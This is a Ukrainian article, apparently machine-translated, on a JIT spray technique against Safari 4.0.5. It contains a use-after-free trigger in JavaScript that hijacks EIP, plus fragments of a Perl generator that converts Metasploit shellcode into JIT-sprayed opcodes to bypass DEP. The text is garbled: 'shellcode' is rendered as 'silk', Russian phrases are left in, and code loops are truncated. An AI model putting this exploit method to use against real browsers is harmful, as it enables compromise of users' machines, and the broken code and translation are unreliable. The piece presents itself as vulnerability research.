JIT SPRAY мертвий! Хай живе JIT SPRAY!
Зміст статті
Робочий експлойт за 6 секунд
Якщо не набридло…
Отже, чому ми знову повернулися до цієї теми? Справа в тому, що при підготовці до минулої місяця конференції «Hack In The Box» в Амстердамі та прискоренні часу роботи JIT SPRAY (з 8 хвилин до 6 секунд) за допомогою модифікованого EGG-HUNTER шелкоду (про цей вид шелкоду можна було прочитати у статті Олексія Тюріна) у контексті компілятора JIT з'ясувалося, що в новому релізі Flashплеєра версії 10.1 змінилася модель компілятора, і JIT SPRAY більше не працює. За три тижні до початку конференції мені треба було щось показати колегам, щоб не їхати в країну млинів і тюльпанів зовсім з баяном, звідси і цей матеріал, але почнемо по порядку.
Проте, дослідники показують слабкості цих механізмах, щоб розробники не розслаблялися і знали, що цього недостатньо. Завдяки роботі Діоніса, що показав JIT SPRAY у Flash-плеєрі до того, як це зробили чорні капелюхи, Adobe змогла виправити код JIT компілятора і тим самим знизила загрозу для своїх користувачів. То що таке JIT?
JUST-IN-TIME
Вразливість
Повторне використання звільненої пам'яті Safari 4.0.5. Цю вразливість я вже описував в одному з попередніх оглядів, суть її проста - видаляємо батьківський об'єкт, при цьому зберігаючи покажчик на нього, потім викликаємо метод, використовуючи збережений покажчик. У результаті береться значення пошкодженої пам'яті (яка звільнилася). У цьому значення покажчика з таблиці vtable виявляється переписаним аргументом методу. Так ми захоплюємо контроль, а саме регістр EIP:
var a = parent; // Покажчик на батьківський елемент var buf = make_buf(unescape('%u0101%u0101'), 63000); a.prompt(alert); // заповнюємопам'ять значенням 0x01010101 a.prompt(buf); a.close(); // видаляємо батьківський об'єкт // покажчик на функцію promt() тепер = 0x01010101 a.prompt(alert);
Ін'єкція коду
Так як у нас LITTLE-ENDIAN система, процесор бере значення «задом наперед», і замість 0x0304 ми можемо написати будь-які команди в оп-кодах. А ось 0x0201 ми повинні замінити строго на 14EB (EB14 = JMP +0x14), щоб передати керування на одинадцятий параметр. Коли ми говорили про Flash, було легше, тому що там параметри йшли один за одним, тут же у нас розрив у 20 (0x14) байт, тому останні два байти треба «витрачати» на перехід між параметрами. Наприклад, десятий і одинадцятий параметр:
Будуть скомпільовані в: . . . 07070104 90 NOP 07070105 90 NOP 07070106 EB14 JMP 0707011C - вирізано 14 байт - 0707011C 90 NOP 0707 MP … . . .
У нас вийшов зв'язок між параметрами та виконання коду, спочатку порожні оператори, а потім переривання. Отже, DEP ми теж оминули…
JIT-Шелкод
У Flash вони були "R-X" (читання та виконання), а ось у Safari - "RWX", тобто ми можемо ще й писати на згадку. Ніколи не залишай виконувану пам'ять доступною на запис, бо цей, здавалося б, невеликий недолік уможливлює використання шелкоду. Поясню: ми заповнили пам'ять RWXблоками і, припустимо, передали управління на JIT-блок 07070000. Там у нас буде пов'язаний шовк з командами по два байти.
Два байти болю
Автоматизація
Тепер настав час написати генератор шелкоду, який згідно з вищезазначеним алгоритмом буде генерувати JIT-шелккод. Почнемо працю! У метасплойті генеруємо шовк у форматі Perl. Я вибрав запуск калькулятора, без жодних кодувань шелкоду. Нам це ні до чого, по-перше, тому щоJIT-шеллкод і так неслабо перекодує оригінальний шовлкод - жоден антивірус не впізнає.
По-друге, розмір коду менший. Отже, є шовк у форматі Perl, який ми запхнемо в змінну $shellcode. Задамо старші байти сторінки, куди копіюватимемо цей шовк. Я вибрав 0x080A0000. Так як молодші байти нас не цікавлять, ставлю лише старші:
#Address with RWX - place for shellcode $addr="x08x0A"; #0x080A0000
Оскільки весь шовкод копіюємо по чотири байти, необхідно вирівняти його, для цього рахуємо розмір шелкоду і ділимо із залишком на 4. Якщо залишок 1, 2 або 3, то додаємо до кінця шовкоду сміття:
$len=length($shellcode); $add=$len % 4; for($i=0;$i
Забудемо на час про шовк, необхідна підготовка; як ми пам'ятаємо, щоб 0xXXYY0104 вказував на початок коду, необхідно, щоб JIT-код починався з десятого аргументу. Тому перш за все заб'ємо перші дев'ять аргументів:
$offsetJit="\"0x222222222^\"+/* START OF OFFSET */\n". --------ЕЩЕ 7 таких рядків ----------"\"0x22222222^\"+ /*SHELLCODE BEGINS*/\n";
$initJit="0x14EBC031^"+//XOR EAX,EAX\n". "\"0x14EB01B4^\"+\n". "\"0x14EB00B0^\"+\n". "\"0x14EBE0F7^\"+// EAX=0x100*0x100\n". "0x14EBF08B^"+// MOV ESI, EAX; ESI = 00010000 - MUL factor\n".
Параметр іде задом наперед, щоб потім правильно інтерпретуватися процесором. Тобто аргументом для XOR 0x14EBC031 є наш десятий параметр. При перехопленні контролю ми перепишемо EIP 0x07070104, що вказуватиме прямо на 0x31C0EB14. 0x31С0 - це "XOR EAX, EAX". Так ми обнулимо регістр, а наступна команда – 0xEB14 – зробить JMP +14 байт на наступний параметр – 0x14EB01B4. Читаючи задом наперед, отримуємо "MOV AH, 01 / JMP 14". Тобто в регістр AH заноситься одиниця, адалі - стрибок на наступний параметр, там вже обнулюється AL. Таким чином, EAX = 00000100. Тринадцятий параметр робить "MUL EAX", тобто 0x100 множить на 0x100 і в EAX заноситься результат - 0x00010000.
sprintf("0x14EB%02lxB4^"+\n",ord substr($addr,0,1)). sprintf("0x14EB%02lxB0^+n",ord substr($addr,1,1)).
Цей код генерує п'ятнадцятий і шістнадцятий параметр, заносячи перший і другий розряд $addr у регістри AH та AL. Виходить, що EAX = 0001080A. Одиниця у третьому розряді залишилася після попередніх операцій, але вона нам не заважає. Тепер переносимо значення з молодших розрядів EAX до старших і копіюємо значення до ECX:
"\"0x14EBE6F7^\"+ // MUL ESI; EAX - RWX memory for shellcode\n". "\"0x14EBC88B^\"+ // mov ecx, eax; ECX - pointer on RWE mem\n".
На цьому підготовку завершено. У ECX - покажчик на сторінку пам'яті, куди копіюватимемо шовк, в ESI - множник, в EBX - крок зсуву. Почнемо копіювати шовк. Спочатку скопіюємо байти задом наперед.
#Convert shellcode в JIT code for($i=0; $i
Так ось, ми копіюємо байти у змінні $byteX. Потім можна зручно заносити їх до EAX:
$val.="\"0x14EBC031^\"+ //XOR EAX,EAX\n"; $val.= sprintf("\"0x14EB%02lxB4^\"+ //MOV AH\n",ord $byte1); $val.= sprintf("\"0x14EB%02lxB0^\"+ //MOV AL\n",ord $byte2); $val.= ""0x14EBE6F7^\"+ //MUL ESI\n"; $val.= sprintf("\"0x14EB%02lxB4^\"+ //MOV AH\n",ord $byte3); $val.= sprintf("\"0x14EB%02lxB0^\"+ //MOV AL\n",ord $byte4);
$jumJit="\"0x14EB00B5^\"+ // mov ch, 00\n". "\"0x14EB00B1^\"+ // mov cl, 00;\n". "\"0x14EBE1FF^\"+ // JMP ECX ; PROFIT! \n";
Очевидно, що розробка JIT-компілятора має враховувати багато нюансів. Слід не лише уникати помилок, що призводять до перехоплення управління, а йробити код таким, щоб він не зводив функціонал захисту ОС нанівець. Виконання простих правил на кшталт «не залишати пам'ять доступною для запису та виконання і не заносити значення користувача у пам'ять, що виконується» унеможливили б використання JIT SPRAY. Тож безпека — це не лише «безпечне програмування», а й безпечна архітектура. Зазначу, що компанія VUPEN за тиждень після доповіді про JIT SPRAY у браузері Safari випустила 0day-експлойти для своїх клієнтів з використанням цієї методики. Крім того, я не маю можливості перевірити JIT-движок Safari в Mac OS або iPhone/iPad, але якщо там архітектура аналогічна, то означає, що ці платформи в найбільшій небезпеці, тому що браузер зазвичай використовується саме на них.